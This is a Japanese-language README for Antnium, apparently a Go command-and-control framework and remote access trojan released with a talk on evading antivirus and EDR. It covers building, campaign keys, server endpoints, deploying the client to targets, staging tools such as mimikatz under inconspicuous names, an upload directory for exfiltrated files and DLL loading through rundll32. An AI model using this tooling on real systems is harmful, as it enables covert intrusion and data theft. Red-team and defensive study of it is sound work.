
Go製の初期アクセス用C2フレームワーク
Anti Tanium
Goで書かれたC2フレームワークおよびRATです。
このソースコードは、私のプレゼンテーション Develop your own RAT - AV & EDR Defense の参考として公開されています。 Antniumは私自身の要件を満たすことを意図しており、他者の要件を満たすものではありません。私が実施したキャンペーンでは機能しますが、必ずしも汎用的なC2フレームワークであることを意図していません。
2つのコンポーネントがあります:
Go(およびgit)をダウンロードしてインストールします。
ここではC2ドメインとして 127.0.0.1:8080 を使用します(client.exeとserver.exeの両方を同一ホストで起動するためlocalhostです)。これもデフォルトなので、変更する必要はありません。
campaign/campaign.go のキャンペーンを確認してください:
serverUrl = "http://127.0.0.1:8080"Windowsでビルド:
> .\makewin.bat deploy
Linuxでビルド:
$ make deploy
サーバーとクライアントを起動:
cd build\
.\server.exe
.\static\client.exe
server.exeを起動した後、ブラウザで以下のURLを開いてWebUIにアクセスします:
http://localhost:8080/webui/
static/:ツール用の公開ディレクトリ他のマシンにダウンロードさせたいファイルを置きます。client.exe、wingman.exeなど。そしてmimikatz.exeやseatbelt.exeなどのツールも。ただし、より目立たないファイル名を使用してください。
ファイルは、暗号化されたファイル名でリクエストする /secure APIを介しても利用でき、レスポンスとして暗号化+base64エンコードされたファイルが返されます。
dotNetファイルは、remote実行オプションを使用して実行できます(/secure経由でアクセス)。
upload/:データ外部送信のためのプライベートディレクトリクライアントからのファイルアップロードはここに保存されます。
Goのインストール:
apt install golang gcc-mingw-w64client.exeとserver.exeをコンパイル:
> .\makewin.bat deploy
これにより次が作成されます:
server.exeを起動:
> cd build
> .\server.exe
Antnium 0.1
Loaded 0 packets from db.packets.json
Loaded 0 clients from db.clients.json
Periodic DB dump enabled
Starting webserver on 127.0.0.1:8080
client.exeを起動:
> .\build\static\client.exe
Antnium 0.1
time="2021-09-02T21:48:16+02:00" level=info msg="UpstreamHttp: Use WS"
time="2021-09-02T21:48:16+02:00" level=info msg="Connecting to WS succeeded"
time="2021-09-02T21:48:16+02:00" level=info msg=Send 1_computerId=c4oil02sdke2sp3nfngg 2_packetId=0 3_downstreamId=client 4_packetType=ping 5_arguments="map[]" 6_response=...
time="2021-09-02T21:48:16+02:00" level=info msg=Send 1_computerId=c4oil02sdke2sp3nfngg 2_packetId=0 3_downstreamId=client 4_packetType=ping 5_arguments="map[]" 6_response=...
LinuxからWindowsクライアントをコンパイルすることは可能ですが、いくつかのWindows依存関係のため、手動でのGO gccコマンドラインの技術が必要です。すぐに動作しない場合は、WindowsクライアントをWindows上でコンパイルしてください(makewin.bat client)。
pkg/campaign/campaign.go は、コンパイルされたclient.exeを特定のserver.exeに接続し、キャンペーンを形成します。キャンペーンには個別の暗号化キーと認証キーがあり、サーバーとクライアント間で共有されます。
type Campaign struct {
ApiKey string // Key used to access client facing REST
EncKey []byte // Key used to encrypt packets between server/client
ServerUrl string // URL of the server, as viewed from the clients
}
また、管理UI/オペレーターキーは pkt/server/config.go にあります:
type Config struct {
AdminApiKey string
}
ServerUrl は、クライアントがサーバーとのすべてのやり取りに使用するURLです。これは公開サーバーURLであり、例:http://totallynotmalware.ch。実際のserver.exeはリバースプロキシの背後にあり、server.exe --listenaddr 127.0.0.1:8080 で起動される場合があります(そのため ServerUrl は必ずしも listenaddr と等しくありません)。
サーバーに初めて接続するときは、最初にUIにアクセスして設定する必要があります。
Angular UIファイルは公開されています。ServerUrl="http://localhost:8080" と listenaddr=0.0.0.0:8080 を想定します。次のいずれかを使用できます:
http://localhost:8080/webui として利用可能ng serve を実行し、ブラウザで http://localhost:4200 を開くブラウザでUIに接続するときは、最初にサーバーのIPとパスワードを設定する必要があります:
テスト済み:
Windowsでコンパイル:
> .\makewin.bat client
ターゲットに展開します。
テスト済み:
Linuxの場合:
$ make server
$ mkdir -p static upload
$ ./server --listenaddr 0.0.0.0:8080
結果は server.exe です。作業ディレクトリとして以下がある、または想定されるディレクトリで実行してください:
そのポートでRESTサーバーが起動し、以下を提供します:
/:クライアント向けREST/ws:クライアント向けWebsocket/admin:管理インターフェース向けREST(パケット追加、クライアント取得)/adminws:管理インターフェース向けWebsocket(パケットプッシュ)/webui:管理インターフェース用HTMLファイル(Angularソースとhtml、RESTとwebsocketにアクセス)その前にリバースプロキシを配置するか(websocketをサポートしていることを確認してください!)、ポートを転送してください。
手動プロキシの場合は、完全なHTTP URLを使用します:
client.exe -proxy http://proxy:8080
または環境変数を介して:
export PROXY http://localhost:8080
./client
Wingmanは基本的にクライアントですが、C2への直接接続はありません。 localhost:50000の既存クライアントに接続できます(Campaign.AutoStartDownstreamsがfalseの場合は、起動していることを確認してください)。
localhostポート50000に接続:
wingman.exe
またはrundll32.exeを使用してdllをロードします(system32の64ビット版rundll32を使用。C:\Windows\SysWOW64\rundll32.exeの32ビット版ではありません):
C:\Windows\System32\rundll32.exe .\wingman.dll,Start
これはダウンストリーム net#0 として表示されます。
go test ./...
まだレースコンディションが存在する可能性があります。一度失敗した場合は、もう一度実行してください。